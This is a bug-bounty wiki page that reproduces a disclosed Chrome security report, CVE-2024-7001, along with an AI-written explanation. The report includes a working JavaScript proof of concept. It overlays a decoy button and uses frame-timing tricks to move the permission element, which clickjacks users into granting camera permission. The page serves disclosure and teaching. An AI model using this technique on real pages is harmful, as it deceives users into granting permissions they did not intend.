Inappropriate implementation in HTML (CVE-2024-7001)
The `<permission>` element, which the browser treats as trusted UI, could be visually moved away from where it actually receives clicks, so a different element sat under the pointer while the permission element still passed its intersection check. An attacker could therefore trick a user into clicking a permission prompt they did not intend to interact with.
Originally disclosed on Chrome VRP
- Fix shipped in 37 days
VULNERABILITY DETAILS
The <permission> element has special privileges because it has tightly controlled content and appearance controlled by the browser. However, these protections can be bypassed with clickjacking techniques.
VERSION Chrome Version: 126.0.6478.62 + stable Operating System: macOS Version 14.5 (Build 23F79)
REPRODUCTION CASE https://permission.site/pepc - this is the public demo of <permission> from https://developer.chrome.com/blog/permission-element-origin-trial
Run the following via the console:
const { port1, port2 } = new MessageChannel();
port1.start();
port2.start();
function postTask(callback) {
port1.addEventListener("message", () => callback(), { once: true });
port2.postMessage("");
}
const jack = document.createElement("button");
jack.textContent = "Click-jacker";
document.querySelector(".content").append(jack);
Object.assign(jack.style, {
position: "absolute",
top: "0",
left: "50%",
translate: "-50% 0",
width: "400px",
pointerEvents: "none",
});
const camera = document.querySelector("#camera");
Object.assign(camera.style, {
position: "relative",
contain: "paint",
});
function frame() {
Object.assign(camera.style, {
width: "0",
aspectRatio: "1/1",
left: "-300px",
});
postTask(() => {
Object.assign(camera.style, {
width: "",
aspectRatio: "",
left: "",
});
});
requestAnimationFrame(frame);
}
requestAnimationFrame(frame);
This code doesn't need to be run via the console for the exploit to work. It could be included in the page by the attacker.
The attack works by giving the <permission> element a different visual position (set via requestAnimationFrame) to its hit-test position (set via postTask). Any element can be put in the hit-test position. Meanwhile the actual <permission> erroneously passes the intersection test.
Mitigation should involve ensuring some rendering stability of the <permission> element.
Video of the reproduction attached.
CREDIT INFORMATION Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: Jake Archibald
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the `<permission>` element's visual position and its hit-test position could diverge between rendering frames, and the intersection check used the stale position rather than the current one.
Impact
A user could be tricked into interacting with a permission prompt through a clickjacking overlay, potentially granting a permission they did not intend to give.
What the attacker needed
Victim visits an attacker-controlled page; victim clicks the overlaid element
The fix
The text suggests the fix should ensure some rendering stability of the `<permission>` element so its visual and hit-test positions cannot diverge.
How it was found
- Open the public `<permission>` demo page.
- Add a button element positioned over the permission element with pointer events disabled.
- Repeatedly shrink and move the permission element in one frame, then restore it in a later task.
- Observe that clicks land on the button while the permission element still passes its intersection test.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some page elements are meant to be trusted by the browser, such as a prompt asking for permission to use the camera. This report shows that such an element could be drawn in one place while still accepting clicks in another place, so a fake button could sit on top of it. A user might then approve something thinking they clicked a harmless button.
What is UI spoofing?
The interface lies to the user: a framed page catches their clicks, or a browser shows the wrong address or a fake prompt. Paid when it leads to a sensitive action or convincing phishing.